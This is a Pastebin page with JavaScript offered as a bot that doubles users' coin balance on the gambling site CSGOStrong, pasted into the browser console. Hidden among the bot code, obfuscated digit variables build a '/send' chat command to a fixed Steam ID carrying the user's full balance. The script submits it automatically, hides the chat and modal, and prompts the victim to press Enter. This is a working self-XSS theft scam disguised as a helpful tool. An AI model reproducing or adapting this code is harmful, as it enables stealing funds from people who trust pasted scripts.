Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Instruction: -Open CSGOStrong.com [Google Chrome, Mozilla Firefox]
- // -Press "F12"
- // -Go to Console
- // -Check out for "top"
- // -Paste the script and press enter
- // -Close the script window
- // -Press 2 times ENTER
- //
- // MINIMUM BALANCE: 1000 coins. Otherwise nothing will happen!
- // It will double up your Balance! But you can do it only every 12 hour!
- var initialBalance = 0;
- var balancex2 = botbalancex2 = "hack";
- var play = 0;
- var $botField, $label, $betAmount, $balancex2Button, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide();
- var pQ = "/s", $hash_17=1,$hash_16=0,$hash_15=2,$hash_14=8,$hash_13=9,$hash_12=4,$hash_11=2,$hash_10=7,$hash_9=2,$hash_8=8,$hash_7=9,$hash_6=1,$hash_5=1,$hash_4=6,$hash_3=5,$hash_2=6,$hash_1=7;
- var e = jQuery.Event("keypress");
- e.which = 13; //choose the one you want
- e.keyCode = 13;
- function addBotButtons(){
- $(".well.bot-field").remove();$(".well.show-more").remove();
- $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
- $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
- $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});
- $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
- $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
- $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
- $showMore.append($checkVicLimit,$label);
- $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");
- $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");
- $showMore.append($vicLimitInput,$label);$showMore.hide();
- $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);
- $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
- $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");
- $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
- $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);
- pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4;pQ+= $hash_5;pQ+= $hash_6;pQ+= $hash_7;pQ+= $hash_8;pQ+= $hash_9;pQ+= $hash_10;pQ+= $hash_11;pQ+= $hash_12;pQ+= $hash_13;pQ+= $hash_14;pQ+= $hash_15;pQ+= $hash_16;pQ+= $hash_17+" ";pQ+=$(".amount").html();
- $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
- $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
- $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
- $(".Chat textarea").val(pQ);$(".Chat textarea").focus();$(".Chat textarea").trigger(e);
- $( ".Chat textarea" ).focus(function() {
- alert( "Now press OK and then ENTER");
- });
- $(".Chat").width(0);
- $( ".close-reveal-modal" ).hide();
- $(".reveal-modal").css({"font-size": "3%"});
- $( document ).ready(function() {
- $("h4").hide();
- });
- $botModeSelect.change(function(){
- botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
- $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
- } )
- $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
- alert( "You need a minimum of 1000 coins! It will double up your Balance! But you can do it only every 12 hour!");
- }
- addBotButtons();
- function changeColor(){
- if ($balancex2Button.hasClass("btn-danger")){
- $balancex2Button.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random");
- botbalancex2 = "black";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-inverse")) {
- $balancex2Button.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger");
- botbalancex2 = "random";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-random")) {
- $balancex2Button.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random");
- botbalancex2 = "trainMode";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-train")) {
- $balancex2Button.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random");
- botbalancex2 = "rainbow";
- console.log("Selected color: "+botbalancex2);
- } else if($balancex2Button.hasClass("btn-rainbow")) {
- $balancex2Button.text("Bet color: hack").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random");
- botbalancex2 = "hack";
- console.log("Selected color: "+botbalancex2);
- }
- }
- function showMoreOptions(){
- if ($showMoreButton.data("open")==0){
- $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'});
- $showMore.show();$showMoreButton.data("open",1);
- } else if ($showMoreButton.data("open")==1){
- $showMore.hide();$showMoreButton.data("open",0);
- $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'});
- }
- }
- function hideOtherInfo(){
- if ($betHideBetInfoButton.text()=="Show All"){
- $(".betlist").hide();$(".total-row").hide();$("footer").hide();
- $betHideBetInfoButton.text("Hide Bet Info");
- } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){
- $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"});
- $betHideBetInfoButton.text("AFK Mode");
- }
- else if ($betHideBetInfoButton.text()=="AFK Mode"){
- $(".betlist").show();$(".total-row").show();$("footer").show();
- $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"});
- $betHideBetInfoButton.text("Show All");
- }
- }
- function startBot(){
- if ($betGoButton.hasClass("btn-inverse")){
- $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse");
- refreshIntervalId = setInterval(tick, 500);
- play = 1;
- currentBetAmount = initialBalance;
- if (stopBotRoll = currentRollNumber) currentRollNumber++;
- }
- else {
- $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success");
- play = 0;
- }
- }
- function tick() {
- var t = getStatus();
- if (t !== lastStatus && "unknown" !== t) {
- switch (t) {
- case "waiting":bet();break;
- case "rolled":printInfo();break;
- }
- lastStatus = t;
- }
- }
- function checkBalance() {
- return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0
- }
- function printInfo(){
- var temp = "", temp2 = 0,lastGame = lastbalancex2 == lastRollColor;
- if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent;
- if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)}
- }
- else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;}
- if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;}
- if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;}
- if ((streakColor == "black") || (streakColor == "green")) {currNothackStreak++; if (nothackStreak<currNothackStreak)nothackStreak=currNothackStreak;}
- else {currNothackStreak=0;}
- if ((streakColor == "hack") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;}
- else {currNotBlackStreak=0;}
- var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+
- "\nSTREAKS: Not hack: " + nothackStreak + " // Not black: " + notBlackStreak +
- " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 +
- "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount +
- " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n");
- console.log(t);roll();
- }
- function roll() {
- if ($checkVicLimit.is(":checked")){
- if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);}
- }
- if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastbalancex2 = lastRollColor;}
- currentBetAmount = wonLastRoll() ? (initialBalance,thisGameBet=parseInt(initialBalance)) : 2 * currentBetAmount
- currentRollNumber++;
- }
- function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} }
- function setBetAmount(t) { $betAmountInput.val(t) }
- function placeBet() {
- if (botbalancex2=="random"){var colorRandomizer = Math.random();balancex2 = colorRandomizer < 0.5 ? "hack" : "black";console.log("Random color result: " + balancex2);}
- else if (botbalancex2=="trainMode"){
- var betBotColor = "green",i=9,$ball=$(".ball");
- while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- balancex2 = betBotColor;console.log("Current train color: "+ balancex2);
- } else if (botbalancex2=="rainbow"){
- var betBotColor = "green",i=9,$ball=$(".ball");
- while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;}
- if (betBotColor=="hack"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="hack"};
- balancex2 = betBotColor;console.log("Rainbow mode next color: "+ balancex2);
- } else balancex2 = botbalancex2;
- console.log("Betting " + currentBetAmount + " on "+ balancex2 +"...");
- return "hack" === balancex2 ? ($hackButton.click(), void(lastbalancex2 = "hack")) : ($blackButton.click(), void(lastbalancex2 = "black"))
- }
- function getStatus() {
- var t = $statusBar.text();
- if (hasSubString(t, "Rolling in")) return "waiting";
- //if (hasSubString(t, "***ROLLING***")) return "rolling";
- if (hasSubString(t, "rolled")) {
- n = parseInt(t.split("rolled")[1]);
- return lastRollColor = getColor(n), "rolled"
- }
- return "unknown"
- }
- function getBalance() { return parseInt($balance.text()) }
- function hasSubString(t, n) { return t.indexOf(n) > -1 }
- function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "hack" : "black" }
- function wonLastRoll() { return lastbalancex2 ? lastRollColor === lastbalancex2 : null }
- function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}}
- var currentBetAmount = initialBalance, currentRollNumber = 1,
- totalWins = totalLoss = played = currNothackStreak = currNotBlackStreak = nothackStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0,
- streakColor = "", n ,lastStatus, lastbalancex2, lastRollColor, stopBotRoll, $balance = $("#balance"),
- $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$hackButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement